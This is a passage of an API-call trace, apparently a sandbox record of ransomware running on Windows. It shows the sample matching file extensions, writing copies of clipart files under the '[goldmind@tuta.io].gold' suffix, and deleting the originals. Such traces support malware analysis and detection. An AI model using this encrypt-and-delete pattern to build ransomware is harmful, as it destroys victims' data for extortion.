Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0101.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0101.357] lstrlenW (lpString=".doc") returned 4 [0101.357] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.357] lstrlenW (lpString=".docx") returned 5 [0101.357] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0101.357] lstrlenW (lpString=".pdf") returned 4 [0101.357] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.357] lstrlenW (lpString=".xls") returned 4 [0101.357] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.357] lstrlenW (lpString=".xlsx") returned 5 [0101.357] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0101.357] lstrlenW (lpString=".ppt") returned 4 [0101.357] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0101.357] lstrlenW (lpString=".zip") returned 4 [0101.357] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.357] lstrlenW (lpString=".rar") returned 4 [0101.357] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.357] lstrlenW (lpString=".bz2") returned 4 [0101.357] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.357] lstrlenW (lpString=".7z") returned 3 [0101.357] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0101.358] lstrlenW (lpString=".dbf") returned 4 [0101.358] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0101.358] lstrlenW (lpString=".1cd") returned 4 [0101.358] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0101.358] lstrlenW (lpString=".jpg") returned 4 [0101.358] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0101.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0101.358] lstrlenW (lpString=".doc") returned 4 [0101.358] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.358] lstrlenW (lpString=".docx") returned 5 [0101.358] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0101.358] lstrlenW (lpString=".pdf") returned 4 [0101.358] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.358] lstrlenW (lpString=".xls") returned 4 [0101.358] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.358] lstrlenW (lpString=".xlsx") returned 5 [0101.358] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0101.358] lstrlenW (lpString=".ppt") returned 4 [0101.358] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0101.358] lstrlenW (lpString=".zip") returned 4 [0101.358] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.358] lstrlenW (lpString=".rar") returned 4 [0101.358] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.358] lstrlenW (lpString=".bz2") returned 4 [0101.358] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.358] lstrlenW (lpString=".7z") returned 3 [0101.358] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0101.358] lstrlenW (lpString=".dbf") returned 4 [0101.358] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0101.358] lstrlenW (lpString=".1cd") returned 4 [0101.358] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0101.358] lstrlenW (lpString=".jpg") returned 4 [0101.358] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.358] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.359] lstrlenW (lpString="J0099149.WMF") returned 12 [0101.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.359] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=73214) returned 1 [0101.360] CloseHandle (hObject=0x3c0) returned 1 [0101.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf")) returned 0x20 [0101.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.360] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.360] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.361] GetLastError () returned 0x0 [0101.361] ReadFile (in: hFile=0x3c0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x11dfe, lpOverlapped=0x0) returned 1 [0101.364] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x11e00, lpOverlapped=0x0) returned 1 [0101.365] ReadFile (in: hFile=0x3c0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.365] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.365] SetEndOfFile (hFile=0x38c) returned 1 [0101.365] CloseHandle (hObject=0x38c) returned 1 [0101.365] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.365] SetEndOfFile (hFile=0x3c0) returned 1 [0101.368] CloseHandle (hObject=0x3c0) returned 1 [0101.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf")) returned 1 [0101.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0101.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0101.368] lstrlenW (lpString=".doc") returned 4 [0101.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.369] lstrlenW (lpString=".docx") returned 5 [0101.369] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0101.369] lstrlenW (lpString=".pdf") returned 4 [0101.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.369] lstrlenW (lpString=".xls") returned 4 [0101.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.369] lstrlenW (lpString=".xlsx") returned 5 [0101.369] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0101.369] lstrlenW (lpString=".ppt") returned 4 [0101.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0101.369] lstrlenW (lpString=".zip") returned 4 [0101.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.369] lstrlenW (lpString=".rar") returned 4 [0101.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.369] lstrlenW (lpString=".bz2") returned 4 [0101.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.369] lstrlenW (lpString=".7z") returned 3 [0101.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0101.369] lstrlenW (lpString=".dbf") returned 4 [0101.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0101.369] lstrlenW (lpString=".1cd") returned 4 [0101.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0101.369] lstrlenW (lpString=".jpg") returned 4 [0101.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0101.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0101.369] lstrlenW (lpString=".doc") returned 4 [0101.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.369] lstrlenW (lpString=".docx") returned 5 [0101.369] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0101.369] lstrlenW (lpString=".pdf") returned 4 [0101.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.369] lstrlenW (lpString=".xls") returned 4 [0101.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.369] lstrlenW (lpString=".xlsx") returned 5 [0101.369] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0101.369] lstrlenW (lpString=".ppt") returned 4 [0101.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0101.369] lstrlenW (lpString=".zip") returned 4 [0101.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.369] lstrlenW (lpString=".rar") returned 4 [0101.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.369] lstrlenW (lpString=".bz2") returned 4 [0101.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.369] lstrlenW (lpString=".7z") returned 3 [0101.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0101.370] lstrlenW (lpString=".dbf") returned 4 [0101.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0101.370] lstrlenW (lpString=".1cd") returned 4 [0101.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0101.370] lstrlenW (lpString=".jpg") returned 4 [0101.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.370] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0101.370] lstrlenW (lpString="J0099150.JPG") returned 12 [0101.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.370] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=21914) returned 1 [0101.370] CloseHandle (hObject=0x3c0) returned 1 [0101.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg")) returned 0x20 [0101.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.371] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.371] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.371] GetLastError () returned 0x0 [0101.371] ReadFile (in: hFile=0x3c0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x559a, lpOverlapped=0x0) returned 1 [0101.373] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x55a0, lpOverlapped=0x0) returned 1 [0101.374] ReadFile (in: hFile=0x3c0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.374] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.374] SetEndOfFile (hFile=0x38c) returned 1 [0101.374] CloseHandle (hObject=0x38c) returned 1 [0101.374] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.374] SetEndOfFile (hFile=0x3c0) returned 1 [0101.376] CloseHandle (hObject=0x3c0) returned 1 [0101.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg")) returned 1 [0101.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0101.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0101.377] lstrlenW (lpString=".doc") returned 4 [0101.377] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.377] lstrlenW (lpString=".docx") returned 5 [0101.377] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0101.377] lstrlenW (lpString=".pdf") returned 4 [0101.377] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.377] lstrlenW (lpString=".xls") returned 4 [0101.377] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.377] lstrlenW (lpString=".xlsx") returned 5 [0101.377] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0101.377] lstrlenW (lpString=".ppt") returned 4 [0101.377] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0101.377] lstrlenW (lpString=".zip") returned 4 [0101.377] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.377] lstrlenW (lpString=".rar") returned 4 [0101.377] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.377] lstrlenW (lpString=".bz2") returned 4 [0101.377] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.377] lstrlenW (lpString=".7z") returned 3 [0101.377] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0101.377] lstrlenW (lpString=".dbf") returned 4 [0101.377] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0101.377] lstrlenW (lpString=".1cd") returned 4 [0101.377] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0101.377] lstrlenW (lpString=".jpg") returned 4 [0101.377] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0101.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0101.377] lstrlenW (lpString=".doc") returned 4 [0101.377] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.377] lstrlenW (lpString=".docx") returned 5 [0101.377] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0101.378] lstrlenW (lpString=".pdf") returned 4 [0101.378] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.378] lstrlenW (lpString=".xls") returned 4 [0101.378] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.378] lstrlenW (lpString=".xlsx") returned 5 [0101.378] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0101.378] lstrlenW (lpString=".ppt") returned 4 [0101.378] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0101.378] lstrlenW (lpString=".zip") returned 4 [0101.378] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.378] lstrlenW (lpString=".rar") returned 4 [0101.378] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.378] lstrlenW (lpString=".bz2") returned 4 [0101.378] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.378] lstrlenW (lpString=".7z") returned 3 [0101.378] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0101.378] lstrlenW (lpString=".dbf") returned 4 [0101.378] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0101.378] lstrlenW (lpString=".1cd") returned 4 [0101.378] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0101.498] lstrlenW (lpString=".jpg") returned 4 [0101.498] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.498] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0101.498] lstrlenW (lpString="J0099152.JPG") returned 12 [0101.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.560] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=11694) returned 1 [0101.560] CloseHandle (hObject=0x3b4) returned 1 [0101.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg")) returned 0x20 [0101.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0101.765] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.765] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.766] GetLastError () returned 0x0 [0101.766] ReadFile (in: hFile=0x398, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x2dae, lpOverlapped=0x0) returned 1 [0101.806] WriteFile (in: hFile=0x3c0, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x2db0, lpOverlapped=0x0) returned 1 [0101.807] ReadFile (in: hFile=0x398, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.807] WriteFile (in: hFile=0x3c0, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.807] SetEndOfFile (hFile=0x3c0) returned 1 [0101.807] CloseHandle (hObject=0x3c0) returned 1 [0101.808] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.808] SetEndOfFile (hFile=0x398) returned 1 [0101.810] CloseHandle (hObject=0x398) returned 1 [0101.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg")) returned 1 [0101.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0101.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0101.811] lstrlenW (lpString=".doc") returned 4 [0101.811] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.811] lstrlenW (lpString=".docx") returned 5 [0101.811] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0101.811] lstrlenW (lpString=".pdf") returned 4 [0101.811] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.811] lstrlenW (lpString=".xls") returned 4 [0101.811] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.811] lstrlenW (lpString=".xlsx") returned 5 [0101.811] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0101.811] lstrlenW 